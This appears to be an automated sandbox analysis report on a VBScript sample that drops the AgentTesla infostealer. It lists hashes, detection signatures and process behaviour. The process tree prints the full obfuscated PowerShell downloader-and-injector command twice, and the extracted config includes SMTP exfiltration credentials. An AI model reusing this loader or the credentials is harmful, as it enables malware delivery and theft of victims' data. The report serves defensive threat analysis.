Analysis
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max time kernel
147s -
max time network
127s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
23-05-2024 01:41
Static task
static1
Behavioral task
behavioral1
Sample
836259b5e47a4d9f6fdd2955e69645b8aa70bca6d139b0eb99038641db38dbe6.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
836259b5e47a4d9f6fdd2955e69645b8aa70bca6d139b0eb99038641db38dbe6.vbs
Resource
win10v2004-20240508-en
General
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Target
836259b5e47a4d9f6fdd2955e69645b8aa70bca6d139b0eb99038641db38dbe6.vbs
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Size
5KB
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MD5
4f71bc91cc015856a2a5029d880f02f0
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SHA1
3f9e609f67057c573a15f469e4bb5e64c571174c
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SHA256
836259b5e47a4d9f6fdd2955e69645b8aa70bca6d139b0eb99038641db38dbe6
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SHA512
30de245e61fd2cf7462a9e4949a04acfd17da6ffd074886d440b11f76bc4c28b336a9a5ced2785695fa8049348cc152d35b43ab487ff193e6f001a3d23243c38
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SSDEEP
96:Q7ZrI+0JYJMAAiOL1vOZypNWiu/hlbz9cZh+xFUMLCT0MTUmdrQfp:Q150+GAAlOZypNWiu/hlPahKLCQMUhfp
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.blachownia.pl - Port:
587 - Username:
[email protected] - Password:
Zamowienia-2017 - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Detect packed .NET executables. Mostly AgentTeslaV4. 2 IoCs
Processes:
resource yara_rule behavioral1/memory/2148-43-0x00000000004F0000-0x0000000001552000-memory.dmp INDICATOR_EXE_Packed_GEN01 behavioral1/memory/2148-45-0x00000000004F0000-0x0000000000532000-memory.dmp INDICATOR_EXE_Packed_GEN01 -
Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 2 IoCs
Processes:
resource yara_rule behavioral1/memory/2148-43-0x00000000004F0000-0x0000000001552000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral1/memory/2148-45-0x00000000004F0000-0x0000000000532000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers -
Detects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs
Processes:
resource yara_rule behavioral1/memory/2148-43-0x00000000004F0000-0x0000000001552000-memory.dmp INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID behavioral1/memory/2148-45-0x00000000004F0000-0x0000000000532000-memory.dmp INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID -
Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs
Processes:
resource yara_rule behavioral1/memory/2148-43-0x00000000004F0000-0x0000000001552000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store behavioral1/memory/2148-45-0x00000000004F0000-0x0000000000532000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store -
Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs
Processes:
resource yara_rule behavioral1/memory/2148-43-0x00000000004F0000-0x0000000001552000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients behavioral1/memory/2148-45-0x00000000004F0000-0x0000000000532000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients -
Detects executables referencing many file transfer clients. Observed in information stealers 2 IoCs
Processes:
resource yara_rule behavioral1/memory/2148-43-0x00000000004F0000-0x0000000001552000-memory.dmp INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients behavioral1/memory/2148-45-0x00000000004F0000-0x0000000000532000-memory.dmp INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 5 2744 powershell.exe 7 2744 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
wab.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\fMNDB = "C:\\Users\\Admin\\AppData\\Roaming\\fMNDB\\fMNDB.exe" wab.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 2148 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 2424 powershell.exe 2148 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2424 set thread context of 2148 2424 powershell.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepowershell.exewab.exepid process 2744 powershell.exe 2424 powershell.exe 2424 powershell.exe 2148 wab.exe 2148 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 2424 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exewab.exedescription pid process Token: SeDebugPrivilege 2744 powershell.exe Token: SeDebugPrivilege 2424 powershell.exe Token: SeDebugPrivilege 2148 wab.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 2256 wrote to memory of 2744 2256 WScript.exe powershell.exe PID 2256 wrote to memory of 2744 2256 WScript.exe powershell.exe PID 2256 wrote to memory of 2744 2256 WScript.exe powershell.exe PID 2744 wrote to memory of 2580 2744 powershell.exe cmd.exe PID 2744 wrote to memory of 2580 2744 powershell.exe cmd.exe PID 2744 wrote to memory of 2580 2744 powershell.exe cmd.exe PID 2744 wrote to memory of 2424 2744 powershell.exe powershell.exe PID 2744 wrote to memory of 2424 2744 powershell.exe powershell.exe PID 2744 wrote to memory of 2424 2744 powershell.exe powershell.exe PID 2744 wrote to memory of 2424 2744 powershell.exe powershell.exe PID 2424 wrote to memory of 1520 2424 powershell.exe cmd.exe PID 2424 wrote to memory of 1520 2424 powershell.exe cmd.exe PID 2424 wrote to memory of 1520 2424 powershell.exe cmd.exe PID 2424 wrote to memory of 1520 2424 powershell.exe cmd.exe PID 2424 wrote to memory of 2148 2424 powershell.exe wab.exe PID 2424 wrote to memory of 2148 2424 powershell.exe wab.exe PID 2424 wrote to memory of 2148 2424 powershell.exe wab.exe PID 2424 wrote to memory of 2148 2424 powershell.exe wab.exe PID 2424 wrote to memory of 2148 2424 powershell.exe wab.exe PID 2424 wrote to memory of 2148 2424 powershell.exe wab.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\836259b5e47a4d9f6fdd2955e69645b8aa70bca6d139b0eb99038641db38dbe6.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2256 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Semistarved = 1;$Fortrnges='Sub';$Fortrnges+='strin';$Fortrnges+='g';Function Bogievognenes83($Bldgringsmidler89){$Lovgav=$Bldgringsmidler89.Length-$Semistarved;For($Twentythree=1;$Twentythree -lt $Lovgav;$Twentythree+=2){$Irrigably+=$Bldgringsmidler89.$Fortrnges.Invoke( $Twentythree, $Semistarved);}$Irrigably;}function Kalkbrnderens($Chokprisers){.($Posedes) ($Chokprisers);}$Vgavis=Bogievognenes83 '.M,oIz i lElUaB/,5 . 0p ( W iin dKo.wSsT ,NhT, I1S0W. 0 ;E SW iHnI6.4p;A Ex 6P4,;D ,rFvE: 1,2U1,. 0O)D .GCe.c,k oV/D2 0S1 0N0V1R0m1L .F,iEr.e fgoPx,/H1r2,1 .v0B ';$Discrowning136=Bogievognenes83 'OU sGe r.-LASgSe,n tL ';$oplagre=Bogievognenes83 'BhGtUt.pSs :C/k/IdPrHiSv eL.Pg odoTgSl ev. c oMm./FuGcB?aeBx.p.o.rWtP=Sd,o wTnEl,oSa d.& i d,= 1R0GUGUce.zNT,z p HBZKcFo.M.wNW asrB5OfULOvRh.K jRmtqUrF0S1 mAbSfT ';$Flitwite=Bogievognenes83 'M>L ';$Posedes=Bogievognenes83 'TiSeAx ';$Bothriums='Eksemplarers';$Spatheful26 = Bogievognenes83 'De,cSh,oS % aDpSp,dFaAt.a %B\ RLuAhCa,a,rJe d e .STAa.lP &,&c IeScOh.oD tL ';Kalkbrnderens (Bogievognenes83 ' $,g l.o bEa l :UF o cBu.sFePsS= (,c mSd ./ cR $CSFp.aTt.hCe f,uPlO2D6,). ');Kalkbrnderens (Bogievognenes83 'B$ g lSo b aMl,: K a rMlGetk aSm rKe tF=P$Uo.pIl aHgIrPe,. s.p,l i t (,$IFVlGiDt w,iDt,eB) ');$oplagre=$Karlekamret[0];$Topvinklers= (Bogievognenes83 'F$TgBlIo bTaDlS:,S.oMlOoTeIr s,=ENPeBw,-AO b j,e,c t CSWyEsTt eLm .TNFe.t . WLe b C lci eUn,t');$Topvinklers+=$Focuses[1];Kalkbrnderens ($Topvinklers);Kalkbrnderens (Bogievognenes83 ' $ SWoBlGote rTsK.RH.e a dUeOr s [U$SDDi sFc rRoOw.ndiTnSg,1.3 6I].=S$BVPgEaBvIi.s ');$Rejen=Bogievognenes83 'T$DS,o lFo eNrSsp. DSoDwAn l oMaBd F.iGlOe.(N$Lo psl,aVg r,eS,D$DMOe gBa,lso,m.aMnbi cE) ';$Megalomanic=$Focuses[0];Kalkbrnderens (Bogievognenes83 ',$Pg lHo.bPaWlS:UWOhTiPsIkAiEnT=P(BTIe,sFtS- PHa t h .$ MSeAgEa,l o mPa n iMc,), ');while (!$Whiskin) {Kalkbrnderens (Bogievognenes83 ',$FgQl,oIbSa l :EFBo.rKt.u.n,aCtBe.lHy =S$,tVr,uSe ') ;Kalkbrnderens $Rejen;Kalkbrnderens (Bogievognenes83 ' S tAaBrOtA- S.l,e.eOpB 4 ');Kalkbrnderens (Bogievognenes83 'I$.g l,oSbNa.l,:VWKheiBs.k i nM= ( Tte sIt - PKaPt h, B$ M,eMgDaBlRoDmuaPn isc.), ') ;Kalkbrnderens (Bogievognenes83 'H$ gLlKoSb,aSlB: BBeSn vBa r m eSr ndeusN=P$bg,lAoLbra,l,: tFeSl eGf oPtGoPe t +D+,%.$ K aSr lSeHk aKmOrTeFt .Vc o uUn t, ') ;$oplagre=$Karlekamret[$Benvarmernes];}$Taximeters=346626;$resummon=26683;Kalkbrnderens (Bogievognenes83 'N$ gSl o b aPlD:PCPoMnWdPoUtSt iSe rBi. =G ,GSe.tV-CCCoCnmt e n.t, .$ MFe.gSaBl,oUmHa.n,isc ');Kalkbrnderens (Bogievognenes83 ' $Sg l.oAb a,l :NSStUrCaNnUg lBe,mfeAn tU R=C [AS,y s.tSe mD.HCgo nIvCe r t,]E: : FUrSo.mABFa s eS6 4PSBtSrLi n,gA(S$FC oTnLdSo t tMiKe.rAi,). ');Kalkbrnderens (Bogievognenes83 ' $SgDlLo b aRl : C hAa.m.b,e r e d, =F H[ESby s.t.eRm .TT eFx tC. E.n c,oUd i nBg,]T:O:HA,S CMITIT.,GFeMtKS t rri n.gX(.$FS tSrFaDn gHl e mAe,n tI) ');Kalkbrnderens (Bogievognenes83 'B$.g,l.o.bra lO:,VNaRlFu,t aMkJuLr sOe rS=.$.C h a mAb e,r eCd .Ls u,bHsStrrFiSnMgU(.$.T.aBxSi mMe,t eMr sB, $ r e s u,m,mPoKn ), ');Kalkbrnderens $Valutakurser;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2744 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ruhaarede.Tal && echo t"3⤵PID:2580
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C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Semistarved = 1;$Fortrnges='Sub';$Fortrnges+='strin';$Fortrnges+='g';Function Bogievognenes83($Bldgringsmidler89){$Lovgav=$Bldgringsmidler89.Length-$Semistarved;For($Twentythree=1;$Twentythree -lt $Lovgav;$Twentythree+=2){$Irrigably+=$Bldgringsmidler89.$Fortrnges.Invoke( $Twentythree, $Semistarved);}$Irrigably;}function Kalkbrnderens($Chokprisers){.($Posedes) ($Chokprisers);}$Vgavis=Bogievognenes83 '.M,oIz i lElUaB/,5 . 0p ( W iin dKo.wSsT ,NhT, I1S0W. 0 ;E SW iHnI6.4p;A Ex 6P4,;D ,rFvE: 1,2U1,. 0O)D .GCe.c,k oV/D2 0S1 0N0V1R0m1L .F,iEr.e fgoPx,/H1r2,1 .v0B ';$Discrowning136=Bogievognenes83 'OU sGe r.-LASgSe,n tL ';$oplagre=Bogievognenes83 'BhGtUt.pSs :C/k/IdPrHiSv eL.Pg odoTgSl ev. c oMm./FuGcB?aeBx.p.o.rWtP=Sd,o wTnEl,oSa d.& i d,= 1R0GUGUce.zNT,z p HBZKcFo.M.wNW asrB5OfULOvRh.K jRmtqUrF0S1 mAbSfT ';$Flitwite=Bogievognenes83 'M>L ';$Posedes=Bogievognenes83 'TiSeAx ';$Bothriums='Eksemplarers';$Spatheful26 = Bogievognenes83 'De,cSh,oS % aDpSp,dFaAt.a %B\ RLuAhCa,a,rJe d e .STAa.lP &,&c IeScOh.oD tL ';Kalkbrnderens (Bogievognenes83 ' $,g l.o bEa l :UF o cBu.sFePsS= (,c mSd ./ cR $CSFp.aTt.hCe f,uPlO2D6,). ');Kalkbrnderens (Bogievognenes83 'B$ g lSo b aMl,: K a rMlGetk aSm rKe tF=P$Uo.pIl aHgIrPe,. s.p,l i t (,$IFVlGiDt w,iDt,eB) ');$oplagre=$Karlekamret[0];$Topvinklers= (Bogievognenes83 'F$TgBlIo bTaDlS:,S.oMlOoTeIr s,=ENPeBw,-AO b j,e,c t CSWyEsTt eLm .TNFe.t . WLe b C lci eUn,t');$Topvinklers+=$Focuses[1];Kalkbrnderens ($Topvinklers);Kalkbrnderens (Bogievognenes83 ' $ SWoBlGote rTsK.RH.e a dUeOr s [U$SDDi sFc rRoOw.ndiTnSg,1.3 6I].=S$BVPgEaBvIi.s ');$Rejen=Bogievognenes83 'T$DS,o lFo eNrSsp. DSoDwAn l oMaBd F.iGlOe.(N$Lo psl,aVg r,eS,D$DMOe gBa,lso,m.aMnbi cE) ';$Megalomanic=$Focuses[0];Kalkbrnderens (Bogievognenes83 ',$Pg lHo.bPaWlS:UWOhTiPsIkAiEnT=P(BTIe,sFtS- PHa t h .$ MSeAgEa,l o mPa n iMc,), ');while (!$Whiskin) {Kalkbrnderens (Bogievognenes83 ',$FgQl,oIbSa l :EFBo.rKt.u.n,aCtBe.lHy =S$,tVr,uSe ') ;Kalkbrnderens $Rejen;Kalkbrnderens (Bogievognenes83 ' S tAaBrOtA- S.l,e.eOpB 4 ');Kalkbrnderens (Bogievognenes83 'I$.g l,oSbNa.l,:VWKheiBs.k i nM= ( Tte sIt - PKaPt h, B$ M,eMgDaBlRoDmuaPn isc.), ') ;Kalkbrnderens (Bogievognenes83 'H$ gLlKoSb,aSlB: BBeSn vBa r m eSr ndeusN=P$bg,lAoLbra,l,: tFeSl eGf oPtGoPe t +D+,%.$ K aSr lSeHk aKmOrTeFt .Vc o uUn t, ') ;$oplagre=$Karlekamret[$Benvarmernes];}$Taximeters=346626;$resummon=26683;Kalkbrnderens (Bogievognenes83 'N$ gSl o b aPlD:PCPoMnWdPoUtSt iSe rBi. =G ,GSe.tV-CCCoCnmt e n.t, .$ MFe.gSaBl,oUmHa.n,isc ');Kalkbrnderens (Bogievognenes83 ' $Sg l.oAb a,l :NSStUrCaNnUg lBe,mfeAn tU R=C [AS,y s.tSe mD.HCgo nIvCe r t,]E: : FUrSo.mABFa s eS6 4PSBtSrLi n,gA(S$FC oTnLdSo t tMiKe.rAi,). ');Kalkbrnderens (Bogievognenes83 ' $SgDlLo b aRl : C hAa.m.b,e r e d, =F H[ESby s.t.eRm .TT eFx tC. E.n c,oUd i nBg,]T:O:HA,S CMITIT.,GFeMtKS t rri n.gX(.$FS tSrFaDn gHl e mAe,n tI) ');Kalkbrnderens (Bogievognenes83 'B$.g,l.o.bra lO:,VNaRlFu,t aMkJuLr sOe rS=.$.C h a mAb e,r eCd .Ls u,bHsStrrFiSnMgU(.$.T.aBxSi mMe,t eMr sB, $ r e s u,m,mPoKn ), ');Kalkbrnderens $Valutakurser;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2424 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ruhaarede.Tal && echo t"4⤵PID:1520
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2148
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\V4Y6EVEN6HQQXV9YIULX.temp
Filesize7KB
MD568f880dfb89301b3a6360f482ef1cde2
SHA16edacccb52e30393081a35c336ca61e9c236b500
SHA256350f09cb9c135daa9652020ecc63bbffa69a7f5ec4e9b2ccabe69a780942f092
SHA512a47addcc57a0291a7be8200ec6411d45556c52f9485201e89066a7fcbaa109f70af4399b8cf985b807dc4a334fddc500731a8a70082c813b598bbb37720b96ca
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Filesize
486KB
MD51bfa03c6f53315482c87ac075d5e4898
SHA1e2252b3662c2989cef2233e1d5fa7554bf8e5bd8
SHA256806ff71ceaf81fe7073d40617e7ccb34e4e9430fcccb5469c88e195e3c68eaf2
SHA51247e7a36d739e740f0b2d89694c1c670315b9efc29c4a710ddfab5f6aa2cdcbaaad605eec17ef33e3b53c2023a112eb2de09c3be6c2f6e59df404d337e68255a8